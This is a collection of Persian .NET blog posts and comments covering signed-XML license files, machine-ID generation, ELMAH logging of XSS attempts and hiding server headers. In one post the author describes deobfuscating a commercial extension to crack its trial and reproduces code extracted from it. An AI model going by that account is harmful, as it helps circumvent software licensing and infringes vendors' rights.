من توی خطاهای لاگ شده توسط elmah توی سایتم خطای Server cannot set status after HTTP headers have been sent.
را در اجرای همین قسمت دریافت می‌کنم.
کار به درستی انجام میشه ولی لاگ سایت پر شده از این خطا. اشکال کار از کجای فیلتر فوق است؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۱/۲۰ ۲۱:۳۲

این فیلتر اشکالی ندارد. احتمالا فیلترهای دیگری در همین لحظه در برنامه شما مشغول به کار هستند که روی Response تاثیر دارند. برای نمونه یکبار ترکیب فشرده سازی خروجی که Response.End داشت به همراه RSS Result ایی که آن هم Response.End داشت سبب بروز خطایی که نوشتید، شده بود. در یکی از این‌ها Response.End حذف شد تا مشکل برطرف شود.

نویسنده: علی محبی
تاریخ: ۱۳۹۲/۱۲/۲۵ ۱۳:۵۱

در حالتی که کاربر وارد شده و Authorize مقدار true دارد و ولی Role مد نظر را ندارد چطوری می‌توان کاربر را به صفحه لاگین هدایت کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۲/۲۵ ۱۳:۵۵

اگر Role Provider تعریف شده درست ثبت شده باشد و توسط ASP.NET شناسایی شده باشد، فیلتر Authorize امکان ندارد چنین شخصی را مجاز بداند. بنابراین لازم نیست کار خاص اضافه‌تری را انجام دهید. بحث Request.IsAuthenticated متفاوت است و در مورد آن در SiteAuthorizeAttribute فوق، تمهیدات لازم صورت گرفته. البته سطر ctx.Response.StatusCode = (int)HttpStatusCode.Forbidden را هم می‌توانید پیش از صدور استثناء فراخوانی کنید.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۱۷ ۱۴:۳۵

یک نکته‌ی تکمیلی

- برای رفع این مشکل (تداخل Forms authentication و تنظیم StatusCode) اگر از دات نت 4.5 به بعد استفاده می‌کنید، باید SuppressFormsAuthenticationRedirect را نیز پیش از ctx.Response.StatusCode اضافه کنید. به Response.End هم نیازی نخواهد بود.
- اگر از دات نت 4 استفاده می‌کنید، پیاده سازی SuppressFormsAuthenticationRedirect مخصوص آن‌را نیاز خواهید داشت.

عنوان: **تهیه XML امضاء شده جهت تولید مجوز استفاده از برنامه**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۱۰/۲۵ ۸:۵
آدرس: www.dotnettips.info
برچسب‌ها: Security, RSA, Signed Xml

اگر به فایل مجوز استفاده از برنامه‌ای مانند EF Profiler دقت کنید، یک فایل XML به ظاهر ساده بیشتر نیست:

```
<?xml version="1.0" encoding="utf-8"?>
<license id="17d46246-a6cb-4196-98a0-ff6fc08cb67f" expiration="2012-06-12T00:00:00.0000000"
type="Trial" prof="EFProf">
  <name>MyName</name>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
      <Reference URI="">
        <Transforms>
          <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
        </Transforms>
        <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
        <DigestValue>b8N0bDE4gTakfdGKtzDflmmyyXI=</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>IPELgc9BbkD8smXSe0sGqp5vS57CtZo9ME2ZfXSq/thVu...=</SignatureValue>
  </Signature>
</license>
```

در این فایل ساده متنی، نوع مجوز استفاده از برنامه، Trial ذکر شده است. شاید عنوان کنید که خوب ... نوع مجوز را به Standard تغییر می‌دهیم و فایل را ذخیره کرده و نهایتا استفاده می‌کنیم. اما ... نتیجه حاصل کار نخواهد کرد! حتی اگر یک نقطه به اطلاعات این فایل اضافه شود، دیگر قابل استفاده نخواهد بود. علت آن هم به قسمت Signature فایل XML فوق بر می‌گردد.
در ادامه به نحوه تولید و استفاده از یک چنین مجوزهای امضاء شده‌ای در برنامه‌های دات نتی خواهیم پرداخت.

تولید کلیدهای RSA

برای تهیه امضای دیجیتال یک فایل XML نیاز است از الگوریتم RSA استفاده شود.
برای تولید فایل XML امضاء شده، از کلید خصوصی استفاده خواهد شد. برای خواندن اطلاعات مجوز (فایل XML امضاء شده)، از کلیدهای عمومی که در برنامه قرار می‌گیرند کمک خواهیم گرفت (برای نمونه برنامه EF Prof این کلیدها را در قسمت Resourceهای خود قرار داده است).
استفاده کننده تنها زمانی می‌تواند مجوز معتبری را تولید کند که دسترسی به کلیدهای خصوصی تولید شده را داشته باشد.

```
public static string CreateRSAKeyPair(int dwKeySize = 1024)
        {
            using (var provider = new RSACryptoServiceProvider(dwKeySize))
            {
                return provider.ToXmlString(includePrivateParameters: true);
            }
        }
```

امکان تولید کلیدهای اتفاقی مورد استفاده در الگوریتم RSA، در دات نت پیش بینی شده است. خروجی متد فوق یک فایل XML است که به همین نحو در صورت نیاز توسط متد provider.FromXmlString مورد استفاده قرار خواهد گرفت.

تهیه ساختار مجوز

در ادامه یک enum که بیانگر انواع مجوزهای برنامه ما است را مشاهده می‌کنید:

```
namespace SignedXmlSample
{
    public enum LicenseType
    {
```

```
        None,
        Trial,
        Standard,
        Personal
    }
}
```

به همراه کلاسی که اطلاعات مجوز تولیدی را دربر خواهد گرفت:

```
using System;
using System.Xml.Serialization;

namespace SignedXmlSample
{
    public class License
    {
        [XmlAttribute]
        public Guid Id { set; get; }

        public string Domain { set; get; }

        [XmlAttribute]
        public string IssuedTo { set; get; }

        [XmlAttribute]
        public DateTime Expiration { set; get; }

        [XmlAttribute]
        public LicenseType Type { set; get; }
    }
}
```

خواص این کلاس یا عناصر enum یاد شده کاملا دلخواه هستند و نقشی را در ادامه بحث نخواهند داشت؛ از این جهت که از مباحث XmlSerializer برای تبدیل وهله‌ای از شیء مجوز به معادل XML آن استفاده می‌شود. بنابراین المان‌های آن‌را مطابق نیاز خود می‌توانید تغییر دهید. همچنین ذکر ویژگی XmlAttribute نیز اختیاری است. در اینجا صرفا جهت شبیه سازی معادل مثالی که در ابتدای بحث مطرح شد، از آن استفاده شده است. این ویژگی راهنمایی است برای کلاس XmlSerializer تا خواص مزین شده با آن‌را به شکل یک Attribute در فایل نهایی ثبت کند.

تولید و خواندن مجوز دارای امضای دیجیتال

کدهای کامل کلاس تولید و خواندن یک مجوز دارای امضای دیجیتال را در اینجا مشاهده می‌کنید:

```
using System;
using System.IO;
using System.Security.Cryptography; // needs a ref. to `System.Security.dll` asm.
using System.Security.Cryptography.Xml;
using System.Text;
using System.Xml;
using System.Xml.Serialization;

namespace SignedXmlSample
{
    public static class LicenseGenerator
    {
        public static string CreateLicense(string licensePrivateKey, License licenseData)
        {
            using (var provider = new RSACryptoServiceProvider())
            {
                provider.FromXmlString(licensePrivateKey);
                var xmlDocument = createXmlDocument(licenseData);
                var xmlDigitalSignature = getXmlDigitalSignature(xmlDocument, provider);
                appendDigitalSignature(xmlDocument, xmlDigitalSignature);
                return xmlDocumentToString(xmlDocument);
            }
        }

        public static string CreateRSAKeyPair(int dwKeySize = 1024)
        {
            using (var provider = new RSACryptoServiceProvider(dwKeySize))
```

```
            {
                return provider.ToXmlString(includePrivateParameters: true);
            }
        }

        public static License ReadLicense(string licensePublicKey, string xmlFileContent)
        {
            var doc = new XmlDocument();
            doc.LoadXml(xmlFileContent);

            using (var provider = new RSACryptoServiceProvider())
            {
                provider.FromXmlString(licensePublicKey);

                var nsmgr = new XmlNamespaceManager(doc.NameTable);
                nsmgr.AddNamespace("sig", "http://www.w3.org/2000/09/xmldsig#");

                var xml = new SignedXml(doc);
                var signatureNode = (XmlElement)doc.SelectSingleNode("//sig:Signature", nsmgr);
                if (signatureNode == null)
                    throw new InvalidOperationException("This license file is not signed.");

                xml.LoadXml(signatureNode);
                if (!xml.CheckSignature(provider))
                    throw new InvalidOperationException("This license file is not valid.");

                var ourXml = xml.GetXml();
                if (ourXml.OwnerDocument == null || ourXml.OwnerDocument.DocumentElement == null)
                    throw new InvalidOperationException("This license file is coruppted.");

                using (var reader = new XmlNodeReader(ourXml.OwnerDocument.DocumentElement))
                {
                    var xmlSerializer = new XmlSerializer(typeof(License));
                    return (License)xmlSerializer.Deserialize(reader);
                }
            }
        }

        private static void appendDigitalSignature(XmlDocument xmlDocument, XmlNode
xmlDigitalSignature)
        {
            xmlDocument.DocumentElement.AppendChild(xmlDocument.ImportNode(xmlDigitalSignature, true));
        }

        private static XmlDocument createXmlDocument(License licenseData)
        {
            var serializer = new XmlSerializer(licenseData.GetType());
            var sb = new StringBuilder();
            using (var writer = new StringWriter(sb))
            {
                var ns = new XmlSerializerNamespaces(); ns.Add("", "");
                serializer.Serialize(writer, licenseData, ns);
                var doc = new XmlDocument();
                doc.LoadXml(sb.ToString());
                return doc;
            }
        }

        private static XmlElement getXmlDigitalSignature(XmlDocument xmlDocument, AsymmetricAlgorithm
key)
        {
            var xml = new SignedXml(xmlDocument) { SigningKey = key };
            var reference = new Reference { Uri = "" };
            reference.AddTransform(new XmlDsigEnvelopedSignatureTransform());
            xml.AddReference(reference);
            xml.ComputeSignature();
            return xml.GetXml();
        }

        private static string xmlDocumentToString(XmlDocument xmlDocument)
        {
            using (var ms = new MemoryStream())
            {
                var settings = new XmlWriterSettings { Indent = true, Encoding = Encoding.UTF8 };
                var xmlWriter = XmlWriter.Create(ms, settings);
                xmlDocument.Save(xmlWriter);
                ms.Position = 0;
                return new StreamReader(ms).ReadToEnd();
            }
        }
    }
```

```
}
```

توضیحات:

در حین کار با متد CreateLicense، پارامتر licensePrivateKey همان اطلاعاتی است که به کمک متد CreateRSAKeyPair قابل تولید است. توسط پارامتر licenseData، اطلاعات مجوز در حال تولید اخذ می‌شود. در این متد به کمک provider.FromXmlString، اطلاعات کلیدهای RSA دریافت خواهند شد. سپس توسط متد createXmlDocument، محتوای licenseData دریافتی به یک فایل XML نگاشت می‌گردد (بنابراین اهمیتی ندارد که حتما از ساختار کلاس مجوز یاد شده استفاده کنید). در ادامه متد getXmlDigitalSignature با در اختیار داشتن معادل XML شیء مجوز و کلیدهای لازم، امضای دیجیتال متناظری را تولید می‌کند. با استفاده از متد appendDigitalSignature، این امضاء را به فایل XML اولیه اضافه می‌کنیم. از این امضاء جهت بررسی اعتبار مجوز برنامه در متد ReadLicense استفاده خواهد شد.

برای خواندن یک فایل مجوز امضاء شده در برنامه خود می‌توان از متد ReadLicense استفاده کرد. توسط آرگومان licensePublicKey، اطلاعات کلید عمومی دریافت می‌شود. این کلید دربرنامه، ذخیره و توزیع می‌گردد. پارامتر xmlFileContent معادل محتوای فایل XML مجوزی است که قرار است مورد ارزیابی قرار گیرد.

مثالی در مورد نحوه استفاده از کلاس تولید مجوز

در ادامه نحوه استفاده از متدهای CreateLicense و ReadLicense را ملاحظه می‌کنید؛ به همراه آشنایی با نمونه کلیدهایی که باید به همراه برنامه منتشر شوند:

```
using System;
using System.IO;

namespace SignedXmlSample
{
    class Program
    {
        static void Main(string[] args)
        {
            //Console.WriteLine(LicenseGenerator.CreateRSAKeyPair());
            writeLicense();
            readLicense();

            Console.WriteLine("Press a key...");
            Console.ReadKey();
        }

        private static void readLicense()
        {
            var xml = File.ReadAllText("License.xml");
            const string publicKey = @"<RSAKeyValue>
                                    <Modulus>

mBNKFIc/LkMfaXvLlB/+6EujPkx3vBOvLu8jdESDSQLisT8K96RaDMD1ORmdw2XNdMw/6ZBuJjLhoY13qCU9t7biuL3SIxr858oJ1RL
M4PKhA/wVDcYnJXmAUuOyxP/vfvb798o6zAC1R2QWuzG+yJQR7bFmbKH0tXF/NOcSgbc=
                                    </Modulus>
                                    <Exponent>
                                        AQAB
                                    </Exponent>
                                </RSAKeyValue>";

            var result = LicenseGenerator.ReadLicense(publicKey, xml);

            Console.WriteLine(result.Domain);
            Console.WriteLine(result.IssuedTo);
        }

        private static void writeLicense()
        {
            const string rsaData = @"<RSAKeyValue>
                    <Modulus>

mBNKFIc/LkMfaXvLlB/+6EujPkx3vBOvLu8jdESDSQLisT8K96RaDMD1ORmdw2XNdMw/6ZBuJjLhoY13qCU9t7biuL3SIxr858oJ1RL
M4PKhA/wVDcYnJXmAUuOyxP/vfvb798o6zAC1R2QWuzG+yJQR7bFmbKH0tXF/NOcSgbc=
                    </Modulus>
                    <Exponent>
                        AQAB
                    </Exponent>
```

```
                    <P>

xwPKN77EcolMTD2O2Csv6k9Y4aen8UBVYjeQ4PtrNGz0Zx6I1MxLEFzRpiKC/Ney3xKg0Icwj0ebAQ04d5+HAQ==
                    </P>
                    <Q>

w568t0Xe6OBUfCyAuo7tTv4eLgczHntVLpjjcxdUksdVw7NJtlnOLApJVJ+U6/85Z7Ji+eVhuN91yn04pQkAtw==
                    </Q>
                    <DP>

svkEjRdA4WP5uoKNiHdmMshCvUQh8wKRBq/D2aAgq9fj/yxlj0FdrAxc+ZQFyk5MbPH6ry00jVWu3sY95s4PAQ==
                    </DP>
                    <DQ>

WcRsIUYk5oSbAGiDohiYeZlPTBvtr101V669IUFhhAGJL8cEWnOXksodoIGimzGBrD5GARrr3yRcL1GLPuCEvQ==
                    </DQ>
                    <InverseQ>

wIbuKBZSCioG6MHdT1jxlv6U1+Y3TX9sHED9PqGzWWpVGA+xFJmQUxoFf/SvHzwbBlXnG0DLqUvxEv+BkEid2w==
                    </InverseQ>
                    <D>
Yk21yWdT1BfXqlw30NyN7qNWNuM/Uvh2eaRkCrhvFTckSucxs7st6qig2/RPIwwfr6yIc/bE/TRO3huQicTpC2W3aXsBI9822OOX4Bd
WCec2txXpSkbZW24moXu+OSHfAdYoOEN6ocR7tAGykIqENshRO7HvONJsOE5+1kF2GAE=
                    </D>
                  </RSAKeyValue>";

            string data = LicenseGenerator.CreateLicense(
                                                rsaData,
                                                new License
                                                {
                                                     Id = Guid.NewGuid(),
                                                     Domain = "dotnettips.info",
                                                     Expiration = DateTime.Now.AddYears(2),
                                                     IssuedTo = "VahidN",
                                                     Type = LicenseType.Standard
                                                });
            File.WriteAllText("License.xml", data);
        }
    }
}
```

ابتدا توسط متد CreateRSAKeyPair کلیدهای لازم را تهیه و ذخیره کنید. این کار یکبار باید صورت گیرد.
همانطور که مشاهده می‌کنید، اطلاعات کامل یک نمونه از آن، در متد writeLicense مورد نیاز است. اما در متد readLicense تنها به قسمت عمومی آن یعنی Modulus و Exponent نیاز خواهد بود (موارد قابل انتشار به همراه برنامه).

سؤال: امنیت این روش تا چه اندازه است؟

پاسخ: تا زمانیکه کاربر نهایی به کلیدهای خصوصی شما دسترسی پیدا نکند، امکان تولید معادل آن‌ها تقریبا در حد صفر است و به طول عمر او قد نخواهد داد!
اما ... مهاجم می‌تواند کلیدهای عمومی و خصوصی خودش را تولید کند. مجوز دلخواهی را بر این اساس تهیه کرده و سپس کلید عمومی جدید را در برنامه، بجای کلیدهای عمومی شما درج (patch) کند! بنابراین روش بررسی اینکه آیا برنامه جاری patch شده است یا خیر را فراموش نکنید. یا عموما مطابق معمول قسمتی از برنامه که در آن مقایسه‌ای بین اطلاعات دریافتی و اطلاعات مورد انتظار وجود دارد، وصله می‌شوند؛ این مورد عمومی است و منحصر به روش جاری نمی‌باشد.

دریافت نسخه جنریک این مثال:
SignedXmlSample.zip

نظرات خوانندگان

نویسنده: آراز پاشازاده
تاریخ: ۱۳۹۱/۱۲/۲۳ ۱۹:۴۳

مقاله کاملا مفید و جامع بود من نمونه مثال را دانلود و اجرا کردم ولی متاسفانه چیزی در مورد طریقه تست برنامه نگفتین؟

چطوری تست کنم تا متوجه بشم مجوز کار میکنه یا نه؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۱۲/۲۳ ۱۹:۵۳

نحوه بررسی فایل تولیدی، در متد readLicense انتهای مقاله ذکر شده است. writeLicense یک فایل مجوز تولید می‌کند؛ سپس readLicense محتوای آن‌را خوانده و نمایش می‌دهد (چیزی که نهایتا در برنامه شما استفاده خواهد شد).

عنوان: **ایجاد شناسه ی منحصر به فرد برای هر سیستم**
نویسنده: سید مهران موسوی
تاریخ: ۱۳۹۱/۱۱/۱۲ ۱۲:۱۰
آدرس: www.dotnettips.info
برچسب‌ها: C#.NET, Security

چند روز پیش یک افزونه در nuget نظرم رو به خودش جلب کرد . بعد از دانلود و نصب اون و مقداری کار کردن باهاش جای خودش رو تو دلم باز کرد ولی متاسفانه این افزونه تا 21 روز رایگان بود. توی نت برای پیدا کردن سریال و یا کرکش زیاد گشتم ولی هیچ چیز یافت نشد . شاید به خاطر اینکه از زمان تولیدش زیاد نمیگذره ... در هر حال گذشتن از خیرش برام سخت بود بنابر این به یاد قدیم تصمیم گرفتم خودم دست به کار بشم و release کنمش ...

بعد از deobfuscate کردنش سیستم امنیتیش نکات خیلی جالبی داشت که یکیش ایجاد شناسه‌ی منحصر به فرد برای هر سیستم بود . البته شاید باورش سخت باشه ولی برای بخش امنیتش 23 تا کلاس داشت که هر کدوم کلی تابع و ... داشتن که همه هم به هم مرتبط بود . تا به حال ندیده بودم توی هیچ افزونه ای اینقدر روی امنیتش کار بشه و خب همینم باعث شد 5-4 ساعت وقتمو بگیره ...

کد زیر رو از یکی از کلاس هاش استخراج کردم که توسط اون میتونید یک شناسه منحصر به فرد بر اساس مشخصات پردازنده - برد اصلی و ... تولید کنید . فقط در هنگام استفاده توجه داشته باشید به ارجاع‌های برنامه و اینکه باید System.Management رو به referenceهای برنامه اضافه بکنید حتما ...

```
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using Microsoft.Win32;
using System.Management;

namespace ConsoleApplication1
{

    class Program
    {
        private static string GetSystemCode_int1(byte[] byte_0)
        {
            if (byte_0 != null)
            {
                return Convert.ToBase64String((new MD5CryptoServiceProvider()).ComputeHash(byte_0));
            }
            else
            {
                return string.Empty;
            }
        }

        private static string GetSystemCode_int0(string string_2)
        {
            if (!string.IsNullOrEmpty(string_2))
            {
                return GetSystemCode_int1(Encoding.UTF8.GetBytes(string_2));
            }
            else
            {
                return string.Empty;
            }
        }

        public static string GetSystemCode()
        {
            string key = null;
            if (key == null)
            {
                string empty = string.Empty;
                try
                {
                    ManagementClass managementClass = new ManagementClass("win32_processor");
                    ManagementObjectCollection instances = managementClass.GetInstances();
                    foreach (ManagementBaseObject instance in instances)
```

```
                    {
                        try
                        {
                            empty = string.Concat(empty,
instance.Properties["processorID"].Value.ToString());
                            break;
                        }
                        catch
                        {
                        }
                    }
                }
                catch
                {
                    try
                    {
                        ManagementObjectSearcher managementObjectSearcher = new
ManagementObjectSearcher("Select * From Win32_BaseBoard");
                        foreach (ManagementBaseObject managementBaseObject in
managementObjectSearcher.Get())
                        {
                            empty = string.Concat(empty,
managementBaseObject["SerialNumber"].ToString().Trim());
                        }
                    }
                    catch
                    {
                    }
                }
                try
                {
                    ManagementObject managementObject = new
ManagementObject("win32_logicaldisk.deviceid=\"C:\"");
                    managementObject.Get();
                    empty = string.Concat(empty, managementObject["VolumeSerialNumber"].ToString());
                }
                catch
                {
                }
                if (string.IsNullOrWhiteSpace(empty))
                {
                    empty = Environment.MachineName;
                }
                key = GetSystemCode_int0(empty);
            }
            return key;
        }

        static void Main(string[] args)
        {
            Console.WriteLine(GetSystemCode());
            Console.ReadKey();
        }
    }
}
```

نظرات خوانندگان

نویسنده: ابوالفضل حسن الدین
تاریخ: ۱۳۹۱/۱۱/۱۳ ۱۱:۲۶

سلام
ممنون از پست... شاید اگر اجزای بیشتری از سیستم امنیتی یاد شده بیان می‌شد، بازخورد بهتری داشت. می‌شه اسم افزونه رو معرفی کنین؟

نویسنده: سید مهران موسوی
تاریخ: ۱۳۹۱/۱۱/۱۳ ۱۲:۲۵

افزونه‌ی مذکور رو میتونید از سایت رسمی خودش دریافت کنید .

محتوای این پست صرفا مرتبط است با عنوان پست .

تعدادی از اجزای مهم سیستم امنیتی این افزونه شامل :
1) ارتباط با وب سرویس سایت سازنده و دریافت کد فعال سازی موقت مختص به سیستم شما و ثبت اطلاعات سیستم شما در بانک اطلاعاتی سایت است برای جلوگیری استفاده مجدد از نسخه‌ی ازمایشی بعد از 21 روز . (البته بعد از 21 روز فقط تعدای از قابلیت‌ها غیر فعال میشوند و بقیه رایگان هستند از جمله دیباگینگ php در vs !) .
2) ایجاد کد منحصر به فرد هر سیستم .
3) ترکیب کد منحصر به فرد با شماره pakage ای که بعد از نصب افزونه vs به ان اختصاص میدهد و ...

در کل نکات جالبی رو رعایت کرده بود و تعداد زیادی از کلاس‌ها رو پیاده سازی کرده بود که ارتباطاتی با هم داشتند فقط و فقط جهت سخت کردن debuging که از کارش خوشم اومد ...

عنوان: **ELMAH و حملات XSS**
نویسنده: داود زینی
تاریخ: ۱۳۹۱/۱۱/۲۸ ۱۳:۴۵
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, ASP.Net MVC, ELMAH, xss

ASP.NET جهت مقابله با حملات XSS بطور پیش‌فرض از ورود تگ‌های HTML جلوگیری می‌کند و در صورتی که ورودی کاربر شامل این تگ‌ها باشد، HttpRequestValidationException صادر می‌گردد. لاگ کردن و بررسی این خطاها جهت آگاهی از وجود حمله بی اهمیت نیست. اما متأسفانه ELMAH که به عنوان معمول‌ترین ابزار ثبت خطاها کاربرد دارد این نوع Exceptionها را ثبت نمی‌کند. دلیل آن هم این است که ELMAH در رویه‌های درونی خود اقدام به خواندن ورودی‌های کاربر می‌کند و در این هنگام اگر ورودی کاربر نامعتبر باشد، Exception مذکور صادر می‌شود و فرصتی برای ادامه روند و ثبت خطا باقی نمی‌ماند. به هر حال ضروری است که این نقیصه را خودمان جبران کنیم. راه حل افزودن یک فیلتر سفارشی برای ثبت خطاها به شکل زیر است (ASP.NET MVC):

```
public class ElmahRequestValidationErrorFilter : IExceptionFilter
{
    public void OnException(ExceptionContext context)
    {
        if (context.Exception is HttpRequestValidationException)
           ErrorLog.GetDefault(HttpContext.Current).Log(new Error(context.Exception));
    }
}
```

فیلتر فوق باید در Global.asax معرفی شود:

```
public static void RegisterGlobalFilters (GlobalFilterCollection filters)
{
    filters.Add(new ElmahRequestValidationErrorFilter());
    filters.Add(new HandleErrorAttribute());
}
```

به این ترتیب HttpRequestValidationException هم بعد از این در سیستم ELMAH ثبت خواهد شد.

نظرات خوانندگان

نویسنده: یاسر مرادی
تاریخ: ۱۳۹۱/۱۱/۲۸ ۱۴:۳

با سلام، در چک لیست ASP.NET MVC مورد زیر وجود دارد
آیا مورد زیر کماکا معتبر است ؟
- فیلتر پیش فرض مدیریت خطاها حذف و بجای آن از ELMAH استفاده شود.

با سپاس

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۱۱/۲۸ ۱۴:۲۶

- به سطر HandleErrorAttribute پیش فرض نیازی نیست (البته اگر تنظیمات وب کانفیگ درستی داشته باشید). در قسمت 16 سری MVC توضیح دادم. وجود آن سبب می‌شود که ELMAH اصلا کار نکند و خطای مدیریت نشده‌ای به آن ارجاع داده نشود (چون قبلا مدیریت شده).
- بله. همچنان ELMAH معتبر است. نکته فوق را هم اضافه کنید، کاملتر خواهد شد.

نویسنده: داود زینی
تاریخ: ۱۳۹۱/۱۱/۲۸ ۱۴:۲۸

سلام
این چک لیست توسط آقای نصیری تهیه شده بود. این مورد هم از نظر من معتبر است.
با تشکر

عنوان: **حذف هدرهای مربوط به وب سرور از طریق برنامه نویسی**
نویسنده: سیروان عفیفی
تاریخ: ۱۳۹۱/۱۲/۱۹ ۲۳:۲۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, IIS, ASP.Net MVC, MVC, Security

در تکمیل این مطلب برای حذف هدرهای مربوط به وب سرور در برنامه‌های ASP.NET MVC از روش زیر می‌توانیم استفاده کنیم.

در حالت پیش فرض تمام پاسخهای که به سمت سرور ارسال میشوند به همراه خود یک سری جزئیات را نیز منتقل میکنند.

برای یک وب اپلیکیشن APS.NET MVC این هدرها را داریم :

Server: که توسط IIS اضافه میشود.

X-AspNet-Version: که در زمانFlush در httpresponse اضافه میشود.

X-AspNetMvc-Version: که توسط MvcHandler در System.Web.dll اضافه میشود.

X-Powered-By: این مورد نیز توسط IIS اضافه میشود.

هکرها از اینکه فریم ورک مورد استفاده چه چیزی است خوشحال خواهند شد: اگر سرور شما برای مدتی Update نشده باشد و یک آسیب پذیری امنیتی بزرگ برای ورژن فریم ورکی که استفاده می‌کنید پیدا شود در نتیجه به هکرها برای رسیدن به هدفشان

کمک کرده اید.

به علاوه این هدرها فضایی را برای تمام پاسخ‌ها در نظر میگیرند (البته در حد چندین بایت ولی در اینجا بحث برروی Optimization است).

برای حذف این هدرها باید مراحل زیر را انجام دهیم:

حذف کردن هدر Server : به Global.asax.cs رفته و رویداد Application_PreSendRequestHeaders با کد زیر را به آن اضافه کنید :

```
protected void Application_PreSendRequestHeaders(object sender, EventArgs e)
     {
         var app = sender as HttpApplication;
         if (app == null || !app.Request.IsLocal || app.Context == null)
             return;
         var headers = app.Context.Response.Headers;
         headers.Remove("Server");
     }
```

حذف کردن هدر X-AspNetMvc-Version: در فایل Global.asax.cs به رویداد Application_Start این کد زیر را اضافه کنید :

```
protected void Application_Start()
     {
         ...
         MvcHandler.DisableMvcResponseHeader = true;
         ...
     }
```

حذف کردن هدر X-AspNet-Version: به فایل Web.Config مراجعه کرده و این المنت را در داخل system.web اضافه کنید:

```
<system.web>
         ...
         <httpRuntime enableVersionHeader="false" />
         ...
</system.web>
```

حذف کردن هدر X-Powered-By: در داخل فایل Web.Config در داخل system.webServer این خطوط را اضافه کنید:

```
<system.webServer>
         ...
         <httpProtocol>
             <customHeaders>
                 <remove name="X-Powered-By" />
             </customHeaders>
         </httpProtocol>
         ...
</system.webServer>
```

با انجام مراحل فوق پاسخ‌های سرور سبک‌تر شده و در نهایت حاوی اطلاعات مهم در مورد ورژن فریم ورک نمی‌باشد.

نظرات خوانندگان

نویسنده: sysman
تاریخ: ۱۳۹۲/۰۱/۱۴ ۰:۲۲

ممنون از این مطلب مفید ولی من یک مشکلی دارم کاری که گفتید را انجام دادم وهمه چیز خوب انجام شد ولی در بخش GET modernizr-2.5.3.js باز هم اطلاعات سرور رو به من میدهد

نویسنده: علي
تاریخ: ۱۳۹۲/۰۱/۱۴ ۰:۳۶

فایل‌های استاتیک رو هم باید به موتور ASP.NET مپ کنید. تا زمانیکه مپ نباشند مستقیما توسط IIS سرو می‌شن و تنظیمات ASP.NET روی اون‌ها تاثیری نداره.

نویسنده: sysman
تاریخ: ۱۳۹۲/۰۱/۱۴ ۱۰:۴۰

نمی دونم این کاری که گفتین رو دقیقا چطور انجام بدهم ولی این کار باعث ایجاد کندی نمی‌شه؟ اگر در خود IIS تنظیمات این پست رو اعمال کنم به نتیجه میرسم؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۱/۱۴ ۱۱:۱۳

- برای فایل‌های جاوا اسکریپت توصیه من این است:
الف) اگر از Web forms استفاده می‌کنید: استفاده از Script manager (^ و ^)
ب) اگر از MVC استفاده می‌کنید: استفاده از Bundling & minification
در هر دو حالت نحوه ارائه اسکریپت‌ها تحت کنترل برنامه ASP.NET در خواهد آمد و مستقیما و بدون دخالت ASP.NET، توسط IIS توزیع نمی‌شوند.
- برای مپ کردن فایل‌های استاتیک به موتور ASP.NET می‌شود از StaticFileHandler استفاده کرد. اگر کش کردن اطلاعات استاتیک در سمت سرور فعال شود، این مساله بار اضافه‌ای را به سرور تحمیل نخواهد کرد.

```
<system.web>
   <httpHandlers>
      <add path="*.js" verb="*" type="System.Web.StaticFileHandler" />
   </httpHandlers>
```

نویسنده: یونس دوست
تاریخ: ۱۳۹۲/۰۶/۰۲ ۱۱:۳۴

سلام.من ازش استفاده کردم ولی موقع حذف Header مربوط به سرور ارور زیر رو میده:
This operation requires IIS integrated pipeline mode.
ضمنا من از iis 7.5 استفاده می‌کنم و توی Application Pools هم .Net AppPool Classic رو در حالت pipeline mode:Integrated قرار دادم هم DefaultAppPool ولی همچنان ارور رو دارم.مشکل از کجاست؟
ممنون.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۶/۰۲ ۱۱:۵۴

- محل تست کردن واقعی این کدها بر روی ویندوز سرور است و نه دیباگر و وب سرور آزمایشی ویژوال استودیو.
- شما اگر تا این حد دسترسی به IIS دارید، اصلا نیازی به کدنویسی برای حذف هدرهای وب سرور نخواهید داشت. به قسمت HTTP response headers کنسول مدیریتی مراجعه و مداخل موجود را حذف یا ویرایش کنید.
+ حذف هدر مربوط به نام Server کار ساده‌ای نیست. خیلی‌ها از روش HTTP module هم جواب نگرفته‌اند، اما با استفاده از URL Scan خود مایکروسافت قابل حذف است (این برنامه روی ویندوزهای سرور 2003 به بعد قابل نصب است). بعد از نصب به فایل C:\Windows\System32\inetsrv\urlscan\UrlScan.ini مراجعه و RemoveServerHeader را با 1 مقدار دهی کنید. ضمنا قبل از نصب URLScan تغییر زیر را هم امتحان کنید (بجای Remove از Set استفاده شده):

```
void OnPreSendRequestHeaders(object sender, EventArgs e)
{
   HttpContext.Current.Response.Headers.Set("Server", "CERN httpd");
}
```

نویسنده: پیام دات نت
تاریخ: ۱۳۹۳/۰۳/۱۵ ۲۰:۳۵

با سلام؛ ممنون از مطلب خوبتون. من تو IIS 8 Local اجرا کردم درست کار میکنه و بسیار عالیه. اما تو اجرای نهایی روی سرور هدر Server حذف نشد و از سمت سرور ارسال میشد. بعد از کلی جستجو به نتیجه زیر رسیدم.

```
<system.webServer>
    <rewrite>
      <outboundRules>
        <rule name="Remove RESPONSE_Server" >
          <match serverVariable="RESPONSE_Server" pattern=".+" />
          <action type="Rewrite" value="" />
        </rule>
      </outboundRules>
    </rewrite>
  </system.webServer>
```

نویسنده: دانش پژوه
تاریخ: ۱۳۹۳/۱۰/۰۲ ۱۱:۳۹

ممنون از مطلبتون

